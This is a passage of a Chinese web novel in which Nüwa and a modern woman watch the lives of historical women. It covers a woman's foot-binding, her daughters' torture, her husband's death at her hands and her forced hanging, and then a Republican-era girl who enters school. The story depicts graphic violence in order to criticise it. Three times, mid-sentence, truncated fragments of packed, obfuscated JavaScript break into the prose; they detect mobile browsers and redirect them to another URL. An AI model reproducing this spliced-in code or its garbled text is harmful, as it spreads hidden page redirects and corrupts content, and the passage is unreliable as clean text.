“极为盛行。从有缠足陋习以来,古诗词中提及缠足,绝大多数是些赞美狂热之言,当中作者,不乏鼎鼎有名的大文学家。这些作者在谈及人生话题时,会思索人性,反抗不公,歌颂自由,看起来人模人样。可一转到女性的脚上,他们便似乎忘记女性也是人,更全然忘记自己也还是个人了。” 女娲想了许久,得出结论:“女性自己的独立与自由,根本无法依赖于他人帮我们实现和维持,哪怕这个他人看起来功成名就,看起来悲天悯人,看起来思想先进。”】 热闹了一天,第二天开始,娃娃的新婚生活便急转直下。 先是新媳妇敬茶时,婆婆与大嫂突兀地拉起家常,有说有笑了半个时辰,才仿佛突然看见娃娃一般:“啊,看我这记性,好儿媳,快起来。” 再是大嫂将一桶脏衣服丢给娃娃:“我们家娶你过来,可费了不少功夫呢,你看,全家上下为你出了这么多汗,换下了这么多衣裳。” 最后是娃娃洗了一天的衣服,搭在衣架上晒时,大嫂家的孩子一溜烟跑过来,撞翻了桶里的衣服,又跑到大嫂怀里哈哈大笑:“哈哈哈哈,娘,她跑都跑不动,躲都躲不开。” 娃娃以手支地,坐起身来,默默地将衣服收到桶里,慢慢拖着,重新走向井边。 【姜姚不齿道:“这两人的宅斗伎俩也太拙劣了。” “拙劣又卑下,可面对娃娃这个外来媳妇,却是真的管用。”女娲叹道,“娃娃的处境实在太恶劣了,这个时期,每位已婚女子都要面对这些吗?” “大多如此,毕竟是只身到了别人家里,或多或少要面临些轻视和恶意。不过,就算是同一时期对比,娃娃的处境应该也算是恶劣的了,孔秀才这家人大概是平时被礼教压抑得变态了,才需要从互相欺辱中找点乐子。” 女娲道:“娃娃母亲在娃娃出嫁前,还说她是回到了自己的家。这个家里的原住民,有谁把娃娃当自己家人呢。”】 明枪暗箭轮番上阵,鸡飞狗跳每日不少。琐碎难熬、磨人心性的生活一日日向前走,两年以后,娃娃的孩子降生了。 “二公子,是个千金!” 产婆的声音传出屋外,屋外候着的人皆是神色一僵,掩饰不住失望。唯独大嫂偷偷乐了起来:“生了个不带把的,这辈子都翻不了身,骑不到我头上去咯。” 娃娃满头大汗,脸上却全是笑容。她亲了亲这个皱巴巴的小孩:“娃,娘不会让你受我受过的苦了。” 她没有具体点出这苦为何。一直到六年后,旁观的姜姚与女娲才知晓,原来,她话中之意,是不会给女儿缠足。 【“娃娃竟能有此决心。”姜姚惊道。 即使一路看着娃娃走过来,亲身体会了她对缠足有多痛恨,姜姚却未曾想到,娃娃竟然真能为了女儿的健康与幸福不顾一切,以身试法。 女娲赞赏道:“我们这场直播的主人公,是个勇敢的姑娘呢。 随即,她又担忧道,“只是,在这样的社会环境下,不知这对母女两人的命运,会走向何方。”】 11. 封建 几个月后,丈夫察觉不对,拖了大女儿的鞋袜检查脚,终于发现,娃娃从来没有给女儿裹脚。 他来回打了娃娃几十个巴掌:“贱人!让你给闺女裹脚,你给我捅这么大的篓子!” 大女儿跌坐在地上嚎啕大哭,带动襁褓里的小女儿也哭个不停。 娃娃没顾上自己肿得生疼的脸,一手揽住大女儿,一手轻轻摇着摇篮,哄着小女儿。 两个女儿的哭声刚刚降下来,丈夫的怒吼声又响起:“你以为你是为她们好吗?你这是在害她们。闺女嫁不出去,让我孔家成为全城的笑柄,你去跟列祖列宗交代吗?” “呼,呼,不哭,不哭。”娃娃没有回应丈夫一句,只低头哄女儿。 丈夫怒火中烧,一把将大女儿从娃娃手中夺走。 “你干什么?!”娃娃手扶着地站起来,扑向丈夫,“还给我!” 丈夫怒不可遏:“再待在你手里,孩子一生就全毁了。你看看,这么大的脚,我孔家所有祖宗的脸都不够丢的。教不好孩子,我看你干脆别教了。从今天起,老大给嫂子养!” 当天,娃娃就听到不成人形的嘶吼声从嫂子房里传来。她疯狂地跑过去,可嫂子的房门严严实实地锁着。烈日灼灼之下,娃娃不停地拍门,拍了许久许久,几乎要中暑晕倒,才终于等到嫂子出来。 见到娃娃的样子,嫂子雄赳赳气昂昂地一笑:“弟妹,你偷了两年懒,可算忙坏了我。你家闺女的脚可真是难办啊。你猜我怎么办的?上了竹片!” 娃娃冲进门,见女儿瘫倒在床,疼得不住颤抖,两只尖尖的竹片紧紧裹在脚上,鲜血正一点点从裹脚布中渗出来。 她哀嚎着上前,立即就要给女儿解开,却听嫂子在旁凉凉说道:“解下一片,再缠上去时,可又得多缠一片了。” “娘,娘,求你了,给我解下来吧!”女儿哀求。 娃娃握紧了拳头,鲜血顺着手心流了下来:“对不起,对不起。” 大女儿的哀叫声在孔家日日夜夜持续响了两年,方才堪堪换来了一双银莲。而后,娃娃终于说服丈夫,由她来接手大女儿的裹脚事宜。 大嫂将大女儿领到娃娃跟前,掀起她的裙摆,露出脚来,展现自己两年来的成果:“看,像尖笋一样,多漂亮。” 娃娃只是紧紧抱住大女儿:“你受苦了。” 大女儿没有回抱娃娃,反而说了一句:“娘,我好恨你。” 娃娃全身冷了下来:“你说什么?” “如果你早点给我裹脚,我就不必受这样大的罪。爹说得对,你就是个贱人。” 娃娃浑身如坠冰窖,胸腔不住地颤抖,说不出一句话来。 【目睹一切的女娲哀叹道:“裹了,女儿会恨母亲。不裹,女儿还是会恨母亲。父系社会对母女关系的围猎,严密到让人胆寒。” “这个女儿长大后,一定会后悔的。”姜姚道。 “你怎知道?” “……我曾经像她一样,对着我的母亲骂出过这样的话。时至今日,这仍然是我人生中最后悔的一件事,没有之一。”】 镇定思痛,娃娃终于决定,不让二女儿再走上大女儿的这条血路。当天,她便搬起小木桶和小板凳,拿来长长的布,给二女儿洗脚。 当她双手握起二女儿脚趾的那一瞬间,她突然明白了,当年母亲给她洗脚时,那嘀嗒一声落入木桶的水滴,究竟来自何方。 【女娲眼中也含上了点点泪光:“原来,母女之间的压迫,是这样一环扣一环地形成链条,乃至延续千年的。” 姜姚的声音中也带上了哭腔:“与我同时代的女性,已经无需再在□□上受这样的酷刑,可很多人依然能在祖母辈身上见到小脚。我们每一个人向上追溯,也能在我们的先祖当中,追溯到许许多多位像娃娃这样的女性。她们或许都曾彷徨不安过,都曾极力挣扎过,可是最终,却都做出了一样的选择。” 女娲悲切道:“她们完完整整经历过一系列人类加诸女性身上的苦难,可无论她们多么痛恨这种苦难,却都无力让苦难在她们深爱的后代身上终结,只做继续做自己亲生女儿的刽子手,别无选择。”】 大女儿缠足之事让娃娃与丈夫心生隔阂,随着时间流逝日益加深。自丈夫将一位妾室接回家中后,他再也不曾踏足娃娃的房门。 妾室见娃娃不受丈夫喜欢,便也开始欺凌她。 娃娃拖着一大桶衣服要去洗时,妾室将自己的裹脚布丢到娃娃的木桶里:“姐姐,妹妹的脚比你小些,裹脚布也比你的短。你搭把手,帮妹妹洗了吧。” 娃娃眼也不抬,仍是拖着木桶向前走。 大嫂却是不知从何处出来,抽出木桶中的裹脚布,扔到了妾室身上:“屋里头的奶奶还没死绝呢,轮不到奴才把自己当奶奶。” 妾室见大嫂怒目圆睁,不敢顶嘴,讪讪地走开了。 大嫂恨铁不成钢地对娃娃道:“那种下贱的狐媚子,你也任她骑到你头上去。你整天守着两个女儿有什么用,不如趁早跟人家学学怎么讨好丈夫,再生出个儿子来。” 娃娃仍是默默地拖着木桶离开了。 尔后,她并没有如同大嫂所说,处心积虑地去钻营一个儿子。但那位颇受丈夫喜爱的妾室,却也同样没有生出儿子。只因她们共同的丈夫,没有考取半分读书人的功名,却染上了读书人的一切嗜好,开始醉心于寻花问柳,很快便掏空了身体。 一场风寒过后,丈夫一病不起,短短几月,便显油尽灯枯之态。 娃娃泪涟涟地对前来看望的亲戚朋友们说道:“还请大家先回吧,我想自己陪家夫走完最后一程。” 众人唉声叹气地走了,不时有人窃窃私语,孔家这个媳妇对自己的夫君当真是情深意重。 “爹,娘,夜深了,你们也先去休息吧。”娃娃对哭倒过好几次,头发全白了的公公婆婆说道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231378|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 送走所有人,娃娃坐到了丈夫床前:“临走之前,你还有什么想说的?” 丈夫满脸如锅底一般的死灰色,眼睛里却还是透露出一丝贪婪:“我想再看看你的小脚,摸一摸。” 娃娃嘴角扬起一个讥讽的笑,将脚搭在床沿,脱下了绣花鞋。 丈夫眼睛一眨不眨地盯着娃娃裹满了鞋袜的脚,却见娃娃的手伸向袜沿,将一层一层的裹脚布褪了下来。 “你!” 他万万没有想到,娃娃竟敢做出这样的事来。女子不可对着丈夫脱下袜子,露出最里面畸形的裸脚,只能裹紧袜子供男子欣赏尖笋形状。这些都是娘家人负责教给女子的,过去,娃娃显然非常清楚,从来没有犯过错。 此时,娃娃却是褪去鞋袜,径直将两只裸脚放在丈夫眼前:“你不是喜欢看吗?好看吗?” “你,你,你!” 丈夫身体动都动不了,只能被迫近距离看着那丑陋不堪的脚。脚背高高拱起,脚趾弯折到了脚底,脚后跟与前脚突兀地分离开一大片,如同挂着一块不属于人体的鞋跟一般。他平常隔着厚厚的裹脚布抚摸过无数遍的地方,竟然是这样一番骇人景象。 他又是惊惧,又是气愤,骂道:“你个浪荡东西,竟敢摘了裹脚布,给我看你的猪蹄子。” 娃娃冷笑道:“猪蹄子?成亲那天,你可不是这么说的。我问你,好看吗?我为了迎合你,掰断骨头,勒断筋肉,每日每夜撕心裂肺才缠出来的这双脚,好看吗?” 丈夫不停地喘着气,不住地翻白眼,一个字也说不出来。 娃娃自问自答:“想来,你是觉得好看的,不然,怎么让自己的女儿也去裹呢?” 她放下自己的脚,轻声说道:“你们读书人素来讲究纸上得来终觉浅,你既然觉得小脚好看,我想,你一定也愿意自己亲身尝试吧?” 她一手死死捂住丈夫的嘴,一手紧紧握住他的足尖,使出浑身的力气,向下掰折。 “啊——”丈夫的惨叫全部遏止在了娃娃手掌中,一丝都没有从指缝里流淌出去。 “别忙着叫,这才只是第一步‘试紧’。后面,还有裹尖、裹瘦呢,我们要一步一步慢慢来……咦,你这就受不住了吗?” 娃娃看向怀中已然气绝的丈夫,平静道:“奇怪,明明是你喜欢的东西,怎么就吓死了呢?” 【姜姚道:“嘴上说多喜欢,真让他看到里面的畸形了,却怕成这个样子。” “至此,他终于显露出了对于缠足那最本真的态度。他喜欢的不是小脚,只是凭借性别来压迫、摧残他人的快感。”女娲道。】 娃娃走出房门,第一个去找的,不是公公婆婆,而是妾室:“你想我如何安排你?” 妾室怯怯地看着她曾经想要取而代之,现在却只能任其宰割的女子:“我……我想留在这里服侍你,奶奶,别把我卖掉。” “好。”娃娃答应了下来。 12. 封建 丧事办毕,娃娃躺在床上,对着两个女儿说着将来的打算:“等你们两人都出嫁了,我就在孔家养老。要是孔家把我赶出来,我便轮流去投靠你们,给你们洗衣做饭,只要你们给我一口饭吃就行。” “娘,等你老了,我肯定好好照顾你!”二女儿喊道。 大女儿却是闷声不语。缠足一事,始终是她心里过不去的坎。在她被大娘用竹片凌虐双脚时,她恨透了母亲。后来,当她看到母亲在妹妹小时候就给她缠足,没有如同对自己那般放养时,她心中又泛起了酸意。 突然,大嫂冲了进来:“娃娃,快走!” “什么?”娃娃坐了起来。 大嫂着急,语速飞快道:“爹想从你身上挖出一座贞节牌坊来。他想让你死!” 娃娃难以置信:“可是,贞节牌坊不是只要为丈夫守寡不再嫁,便可得到么?怎么就要人死了?” 她眼前的大嫂,就是背了贞节牌坊的,也好好地活在她眼前。 大嫂费力解释道:“你大哥死的时候,咱们县里贞节牌坊少,官府规定,只需守寡十年,便可得牌坊,领赏银。可现在,全县哪个女子死了男人不守寡?守寡得来的贞洁牌坊,县太爷瞧都不会瞧一眼,只有夫死即殉的女子,才能入得了他老人家的眼,能领贞节赏银。” 【“我们的时代,有一个形容群体性无意义努力的词,叫做内卷。原来,在人命关天的事情上也能内卷。”姜姚道。 女娲不忍道:“这是在鼓励杀人啊。同胞之命,在我们那时候比什么都珍贵,在这个时代……唉。”】 娃娃任由大嫂拉着走出房门:“从前你一贯爱为难我,现在却为何要帮我?” 大嫂边跑边说:“以前,我一个死了男人的寡妇,跟你这个男人孩子都围在身边的人,自然是要斗一斗。不然,指不定你要欺负我成什么样子。可如今,你成了跟我一样的可怜人。都是在泥里滚,人人都想来踩一脚的臭虫,谁又能斗得了谁呢?” 【“不过都是些被重重大山压在最底层的可怜人,却还要为了那一点利益互相折磨。”姜姚叹息一声。 “正是因为都是底层人,什么都没有了,才要争抢那一点点的利益。宽容、共情,这些品质对于一无所有的底层女性来说,实在是太奢侈了。”女娲道。】 大嫂带着娃娃跑出院子,跑到门口,才松开娃娃的手:“好了,我不能离开家门一步,否则我这十几年来给儿子背的贞洁牌坊全没了,以后他功名都不能再考。娃娃,你快走吧。” “大嫂,不,妙娣,谢谢你。” 说完,娃娃转身,扶着墙,快步离去。 妙娣愣住了。这一刻,她们不再是借由父系家庭制度产生联系,又因这种制度彼此怨恨的妯娌,而只是可以直呼姓名,甘愿互帮互扶的两名女性。 妙娣鼻头一酸,对着娃娃的背影,轻声说道:“跑吧。” 跑出这扇禁锢了我一生的房门,跑过距离我咫尺之地,我却只在出嫁时走过的长街,跑向那从未对我敞开过的广阔世界。 你无需再像我一般,被规训,被囚禁,被打入这污泥中,又为了在污泥中活下去,自行将那脏臭的泥水融入自己骨血中,让自己成为比所有人都更加恶臭的烂泥。 跑吧! 娃娃扶着墙壁,迈着小脚,一步一步,艰难地向外跑去。她的人生中,与“跑”字结缘的时间,并没有几年。如今,身体对于这种高难度动作很是陌生,没走几步,便跌倒在了地上。情急之下,她手脚并用想要站起身,怎么也起不来,却是意外地前行了几步。 原来,爬要比跑快多了。 夜风浸透身体,娃娃拼命向前爬着,恐惧的泪水不断溢出眼眶,又被夜风吹走。 她要在黎明到来之前,爬出城外。她想活! 姜姚与女娲互相并不说话,都在与娃娃一同使着力,心中无比盼望她能逃出去。她们的耳边,只有手脚爬动的窣窣声,与夜风呼啸的簌簌声。 奇迹可能会发生,但并不经常。 “找到了!”明亮的火光直射过来,截断了娃娃最后的退路。一群男人团团围了上来,为首之人,正是孔秀才。 “想跑。”孔秀才狞笑一声,“你能跑到哪儿去。” 围堵之人放声哄笑起来: “爬,她竟然在地上爬啊!” “我就说小脚女人都是废物,爬了一晚上,连城门都没出,哈哈哈哈哈。” “嫂子,我们孔家的女人,不兴夜奔,只兴殉夫。” 【姜姚握紧了拳头:“我气自己只能旁观,不能真的进入到当时的时空中,撕烂这些人的嘴。” “所有的宗族男子联合起来,绞杀一个外来的女子。这就是当初娃娃嫁人前,母亲说的她要回的家。”女娲厉声道。】 娃娃见无路可逃,只冷笑了一声:“爹,原来,你不只是个秀才,还是个屠夫啊。上天都嫌你杀人太多,把你两个儿子全收走了。” 孔秀才怒不可遏,抬起手上的棍子就要打到娃娃身上,却被旁边的男人拦了下来:“别打!等官府的人来验尸,要是看到伤口,会有麻烦的。” 旁人也道:“这娘们打的,说不定就是这个主意。” 娃娃自知死到临头,干脆将自己想说的话一股脑倒出来:“爹,你知道你儿子最后是怎么死的吗?看到我脱了袜子的脚,吓死的!哈哈哈哈哈哈!你们孔家的男人,原是只有这点本事。其他人也别急,等你们百病缠身,生不如死之时,便去掰一掰自己的脚,脚断之时,你们也便解脱了!” “疯婆子!”一人撕下自己的袖子,塞在娃娃嘴里,方才止住了她的骂声。 娃娃被这几人架着,逮回了家。先前为她准备好的白绫,已经悬挂在了房梁上。 “娘!”两个女儿拼命向前扑,被旁人抱住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231379|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 大女儿哭喊道:“娘,我错了,我再也不气你了,我好好对你,我一定好好对你!” 几个孔武有力的男人上前,按住娃娃的身体,将她的头颅死死压在了白绫上。 娃娃的眼睛黏在向她扑来的两个女儿身上。随着白绫越来越紧,她的眼珠被迫一寸寸上移。她拼尽全身的力气,与这股本能抗衡,抵死不闭上眼睛。 最终,两个女儿哭泣的脸还是离开了她的视界,徒留她坠入了一片冰冷的黑暗中。 脖子上的白绫,让姜姚想到了许多年前,她在幼小的娃娃身上被母亲逼着缠足时,那股痛彻心扉的绞杀感。 原来,这么多年,娃娃身上,那层裹脚布从来没有离开过,相反越缠越紧,直到将她的整个生命都勒断。 回归虚空之境,姜姚一声不吭地捂着脖子。三场直播,三场死亡,她依旧学不会适应。 她叹道:“三场直播中,我陪伴娃娃的时间最长,总觉与她的感情也最深。最后……我们陪她走完了最后一程,却也仅能止于此。” 女娲也叹道:“我也很舍不得娃娃,她实在是一个太好太好的人。她努力了,也反抗了,只可惜,她身处在那样一个时代。我原以为,父系社会只是强调父与子之间的传承,将女性排斥在外。却未曾想到,远不止于此。” 姜姚道:“一开始只是排斥女性传承血缘和家业,后来,干脆将女性排除在了人类群体之外,将女性非人化了。” 女娲叹了口气,伸出双手,为姜姚按揉着她仍在紧捂着的脖子。 姜姚也将手伸到女娲脖子上:“我也来给你按按。” 女娲微笑着享受姜姚的服务,姜姚也笑了起来。 遇见女娲之时,姜姚只觉女娲像是温柔的母亲,又像宽厚的长辈,也像威严的始祖。而如今,她与女娲共同经历了三场人生,在几万个日夜的相处中,她渐渐感觉,女娲慢慢成为了她的朋友。 互相按摩完毕,姜姚心中对于被绞死的恐惧已然解除,可自娃娃人生中带出来的那股哀痛却迟迟不散。 “下一场直播里的女子,所经历的,还会是这样残酷的一生吗?”女娲问道。 “以整个社会来说,应当不是。我们每场直播中的女子,身处的是不同的社会。娃娃所处的是高度封建的社会,女性所受压迫达到了顶峰。下一场直播所处时代,会比这个时代好很多。” “但是,”姜姚话锋一转,“女性个体之间的差异,有时比时代与时代之间的差距还要大。就像在我身处的时代,女性处境比从前好了那么多,也仍然会有被拐卖后,活得生不如死的女性。我只知道,接下来的直播会处在一个相对好点的时期,但还无法看到,那个女孩究竟过着怎样的生活。” “那我们便干脆不再猜测,自己去看看吧。”女娲微微一笑。 “好。”姜姚拉起女娲的手,“第四场直播,开始。” 13. 新风 神识醒来之时,二人的视角一上一下,欢快地跳个不停。姜姚很快意识到,这个女孩正在一跳一跳地往前走去。 “是个活泼的女孩呢。”女娲笑道。 姜姚随着女孩跳动了许久,说道:“从她走路的感觉来看,应该得将近十岁了吧。” 听到女孩的年龄,女娲第一反应是感受了一下自己的双脚,随即惊喜道:“没有缠足!” 折磨了娃娃一生的酷刑,总算没有在这个女孩身上重现。 姜姚跟随女孩的视角观察周围众人,见街上男女都有,长袍马褂与西装旗袍并存。 她判断道:“此时应当是民国时期了,新旧社会交替,政府下令,开始废止缠足。这个女孩看来是比较幸运,在她四五岁的时候,就赶上了废缠。但凡她再大点,可能就躲不过了。” 女孩跳着跑着,突然停了下来。 前方,一群身穿军服的人挡住了她的去路。他们站在路中央,街上每走过一个女子,他们都要盯着女子的脚看上好久。 在街上行走的多为年轻女子,她们被这样的眼光盯得很不自在,疾步向前走去。 有一个女子走得稍微慢了一些,便被喊住:“站住!” 女子仅仅攥住手上提着的鸡蛋,脸上闪过一丝惊慌:“怎么?” 为首男子粗声粗气:“脱鞋!” 女子挣扎着就要跑,却没能跑掉。鸡蛋掉落在地上,碎成了一滩黄水,而她被那群男人按着,脱下了棉鞋。 正常尺码的鞋里,竟然塞满了棉花。脱了鞋后,女子露出来的脚上,裹着层层叠叠的白布,却仍显现出如笋一般的形状。 “哇!”围观众人看到了好戏,顿时赞叹不已。 为首男子厉声道:“禁缠令下了五年了,大帅说了,裹脚就是落后的表现,见不得再有裹脚的人!你家住哪?从今天开始,门口必须挂一个月的裹脚布,少挂一天,便等着来坐牢吧。” 他越说越兴奋,语气中充满了抓获不法的成就感。 女子忍住眼中惊恐的泪水,唯唯诺诺地报出自己的家门,在男子点头后,匆忙套上鞋离开了。 【姜姚不忿:“这个女人有什么错?她缠足时还在封建时期,四五岁什么都不懂的年纪,就被家人逼迫勒断了脚,现在时代变了,她反倒成了落后的代言人了。” 女娲道:“旧时代最为听话顺从之人,新时代变成了所谓进步之士的笑柄。她们从来没有过选择权,从来只能被迫承受摧残,从前是身体,现在是精神。”】 路遇此事之后,女孩闷闷不乐地走了许久。不过,孩子的心情来得快,去得也快。她很快被一只蝴蝶吸引住,重新欢快地跑了起来,心中的不快一扫而光。 她跑进一家小杂货铺,早已等候多时的男人一见到她,便斥责道:“囡囡,你又偷偷跑出去玩。跟你说了镇上王掌柜要来,让你看店,还跑!” 囡囡甩着两条长长的小辫:“爸爸,王掌柜这不是还没过来嘛。” “来咯。” 人随声至,一个胖胖的男人走到了店里,点了点囡囡的额头:“小囡囡,你可听好咯。” 他拿起手上的纸,念了起来:“白布八匹,针线盒二十个,大米三十二袋,白面十六斤,瓷杯八个,锅铲九把,红茶三两,陈醋十三桶。” 王掌柜话音刚落,囡囡的声音接起:“一共四元三角六分!” 那边,父亲还在不住地拨算盘,拨了好一会儿,才笑吟吟地抬起头:“正是,一分不少。” 王掌柜捏了捏囡囡的鼻子:“八样东西,囡囡,你个小猴精,算得可真快!” 父亲呵呵笑道:“她从小跟着我在店里忙活,一来二去,就自己学会心算了。” “你这当爹的,可别太谦虚了。我从没见过算术比囡囡还好的人,孩子没有,大人也没有。我看啊,你家囡囡长大以后,说不定会有大出息!”王掌柜不吝夸奖。 父亲笑着摸了摸囡囡的头:“一个女孩子家,要什么大出息?她算术这么好,我只盼着她以后嫁了人,能够帮衬到她夫家,不要被人看轻就好。” 【女娲道:“再好的本领,在这个父亲看来,也只是为嫁人而设,都要打包附送给女孩以后的夫家。” 姜姚道:“直到我生活的时代,很多父母养女儿,仍旧有一种‘帮别人养’的心态。”】 送走王掌柜,父亲才发现,门口站着一个女人,正在看着囡囡,似有所思。 父亲不知她在打什么注意,警惕地上下打量了她一会儿,见她穿着一身做工讲究的旗袍,一副新式打扮,一看就不缺钱。 父亲热络地上前:“太太,进来看看啊,我们店里什么都有。” 女人走进门,却说了一句:“掌柜的,我能不能带你女儿去上新学堂?” “什么?”父亲看了看囡囡。 “新学堂?!”囡囡仰着小脸,一脸兴奋。 父亲直摇头:“女孩上学有什么用?读书读个好几年,耽误她嫁人。” 囡囡却喊道:“我想去!” 听到外面的动静,在里屋忙的母亲也闻声赶了出来:“怎么了这是?” 父亲一脸无奈:“囡囡吵着要上学。” 母亲哑然一笑:“我还当什么事呢,小孩子说的话,哪能当真。” 旗袍女子惋惜地摇摇头,转身走出了店门,没过多久,突觉裙角一紧。她转头,见到囡囡偷偷溜了出来,捏住她的衣角,怯生生地说道:“姐姐,我想上学。” 她俯下身,扶住囡囡的肩膀:“好,我帮你。” 女子领着囡囡回门,从包里掏出两块大洋,递给囡囡父亲。 “这是?”父亲惊喜地问。 “只要你能同意我带囡囡去新学堂,这笔钱就是你的了。” “行,行,没问题!”父亲连连答应。这么多钱,别说让女儿上学,就是把女儿领走,也值了。 【“太好了。”女娲欢欣道,“看了这几场人生,我们终于见到有女子读上了书。” 姜姚顿感心中充满了无限的希望:“受教育权来之不易,囡囡一定会好好珍惜的。”】 旗袍女子带着囡囡走出门,边走边问道:“你叫什么名字?” 囡囡眼神躲闪了一下,但下一刻脸色便恢复如常:“我叫囡囡。” “咱这地方的女孩,十个里九个叫囡囡,就像男孩叫囝囝一样。这是你父母省懒,不给孩子取名。” “我爸妈才不懒呢。”囡囡不服气。 女子被她这股孩子气逗笑:“哦?那你有没有姐妹,是不是按大囡、二囡、三囡这么排列?” 这是当地很常见的一种姐妹排序方法,许多懒得给女儿取名的人便这么叫。 “猜错咯!”囡囡得意道,“我没有姐姐妹妹,只有两个弟弟,一个叫承祖,一个叫荫宗。爸妈才没有懒得名都不取呢。” 女子笑意止住,皱了皱眉头,不说话了。 【姜姚心中一阵悲哀:“傻孩子,父母区别对待如此明显了,还是没有察觉出端倪来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231380|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “或许,并不是没有察觉,只是不愿去察觉,或者,隐隐在回避。等到再过几年,她心智再成熟些,一切都会明白的。”女娲道。】 女子停下脚步:“囡囡这个名字叫的人太多了,等你到了学堂,还是得有个跟别人不一样的新名字才行。我给你取一个,如何?” 囡囡欢快道:“好!” 女子想了想:“你听说过花木兰女扮男装上战场的故事吗?” 囡囡摇了摇自己肥嘟嘟的腮:“没有。” “你的名字就叫木兰啦。至于这个名字是何含义,以后,你会在学堂上学到的。”女子笑着说道。 “记住了,我叫木兰!”木兰大声欢呼道。 女子带木兰入了学堂。学堂里是木兰从来没有见过的景象,老师们有的一袭长袍,有的西装革履。学生们有人身着时髦的旗袍,也有人仍穿破旧的小单衣。不同年龄、不同背景、不同观念的孩子们,聚集到了同一间教室里。 第一堂国文课,木兰又见到了女子,方知她是这所学校的国文老师凌老师。她带着学生们认字,木兰这才知道,原来大街上那些奇怪的图案叫做字,每一个都有着自己的含义。 第一堂算术课,由于一年级的孩子们年龄有大有小,从六七岁到二十几岁都有,老师先花了一节课的时间,检验大家以往的算术基础。没成想,这一节课中的最后半节,都用在了木兰身上。 下课时,老师蹲下来,握着木兰的肩膀说道:“将来,你必定是我国数学界冉冉升起的一颗新星。” 周遭学生尽皆投来羡慕的眼光,木兰却是歪歪头,不解地看着老师。 她活到现在,别人对她说的话,几乎都围绕着嫁人。 “帮妈妈好好做家务,照顾好弟弟,将来才能嫁个好人家。” “整天疯玩,不知道文静点,以后哪个婆家敢要你。” “这孩子算术这么好,谁娶了她可有福了,起码账房先生是不用请了。” 尽管她的年纪离嫁人还有些年头,可周围的人都在明里暗里告诉她,嫁人是她的终极使命,是她从一生下来就要为之奋斗的目标,是给每一位女子统一塑造好的人生模具。她的一言一行都必须卡在这个模具上,稍有偏移,她就嫁不出去,陷入万劫不复之地。 她的算术本领,她的家务成果,她的言语笑貌,唯一的作用,只是方便于她今后的丈夫使用,让她离嫁人这个目标更近一些。 这是头一次有人告诉她,无关乎嫁不嫁人,你自己能成为什么。 木兰扫了一眼众人,他们眼中的羡慕,似乎并没有加上“能嫁出去,能嫁得好”这个前提。 原来,她所拥有的一切,不是生来就与一个她未曾谋面的人绑定了的。 【“长久的压抑之后,女性终于在这个时代迎来觉醒了。”女娲欣慰道。 姜姚道:“这是个社会剧烈变革、动荡不安的时代,但也是个人们思想转变,打破桎梏,迎接新风的时代。” 女娲感慨道:“女性不可独立,不是完整的人,曾在那么长的一段时期内被认为是天经地义,乃至发展到最后,女性需要纷纷摧残自己的身体换取生存。可是,只要人类能够不断前行,总会有迎来曙光的那一天。”】 “木兰?”木兰归家之时,母亲听闻女儿有了名字,新奇地问道。 “对,就是那个从容奔赴战场,建功立业,从不回头的花木兰。这便是我的名字。” 母亲不以为意地笑了笑:“你爱叫什么就叫什么吧。” 14. 新风 木兰所在的课堂为中西合办,有着不少西式课堂的内容。第一堂传教课上,牧师向学生们讲述人类起源,说“女人是男人的一根肋骨”。 木兰听了,微微皱了皱眉头。 当着牧师的面,木兰纵心有疑虑,仍尊重课堂秩序,好好听完了全程,没有提出疑问。直到每日课业结束之后的自由研讨时间时,木兰才对同学们说道:“白日传教课上,牧师讲述西方人类起源,当中有一点,我很是疑惑。” 一个中学部女生笑眯眯道:“小木兰,你又疑惑了?这次是哪里?” 新式学堂分小、中两部,参与自由研讨的多是中学部的学生,小学生较为少见。木兰年级最低,年纪最小,却一场研讨不落,许多同学都把她当妹妹看待,时时爱逗她。 木兰道:“牧师说,女人是男人摘下一根肋骨,造出来的。可是,我怎么从小就听大人讲故事,说我们的祖先,是女娲用泥巴捏出来的。” 【“还有这等说法?”女娲颇感惊奇。 “后世的人们早已奉你为神明了。传说,你不仅能抟土造人,还能修补天裂,又能制乐、作酒,一日七十变,无所不能。”姜姚颇感自豪地对女娲介绍道。 女娲笑了:“我若真如传说一般有着如此神通,那我肯定不会满足自己仅仅存于传说中,而是会走遍山河大地,行尽所有乐事,尝尽无限可能。” 这种可能让姜姚大感有趣:“若真如此,女娲,我一定能够在人群当中见到你。”】 学堂的研讨仍在继续,有学生回复木兰的问题:“这个好解释,东方人由女娲捏成,西方人由肋骨生成,各管一方,互不干扰。” 旁边,新来的助教抬起头来:“关于西方人类起源,我在国外也听说过另一个版本。” “什么?”众人纷纷问道,各个盼着从这个刚留洋归来,见多识广的助教口中听到一些新鲜东西。 “世界上第一个女人,其实并非由男人所创,而是与男人一同被创造出来,其名为莉莉丝。” 